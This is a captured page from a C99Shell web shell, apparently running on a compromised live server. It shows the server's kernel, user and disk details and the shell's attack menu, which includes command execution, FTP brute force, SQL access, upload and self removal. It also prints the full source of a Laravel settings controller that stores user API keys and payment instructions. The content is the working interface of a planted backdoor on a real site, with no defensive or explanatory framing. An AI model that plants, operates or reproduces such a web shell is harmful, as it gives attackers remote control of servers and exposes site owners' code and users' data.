!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/User/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SettingsController.php (1.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\User;

use 
App\Http\Controllers\Controller;
use 
App\Models\Setting;
use 
App\Models\UserSetting;
use 
Illuminate\Http\Request;

class 
SettingsController extends Controller
{

    public function 
index(){


        
$settings UserSetting::where('user_id'auth()->user()->id)->get();

        
$all_settings=[];
        foreach(
$settings as $setting){
            
$all_settings[$setting->name]=$setting->value;
        }


        return 
view('user.settings.index'compact('all_settings'));
    }


    public function 
update(Request $request){

        if(
$request->type=='api_key') {
            
$data = ['name' => 'api_key'];
            
$api_setting auth()->user()->user_settings()->firstOrNew($data);
            
$api_setting->value $request->api_key;
            
$api_setting->save();
        }

        if(
$request->type=='payment'){
            
$data = ['name' => 'payment'];
            
$api_setting auth()->user()->user_settings()->firstOrNew($data);
            
$api_setting->value $request->instruction;
            
$api_setting->save();
        }

        return 
redirect()->route('user.settings')->with('success''Settings updated successfully');
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--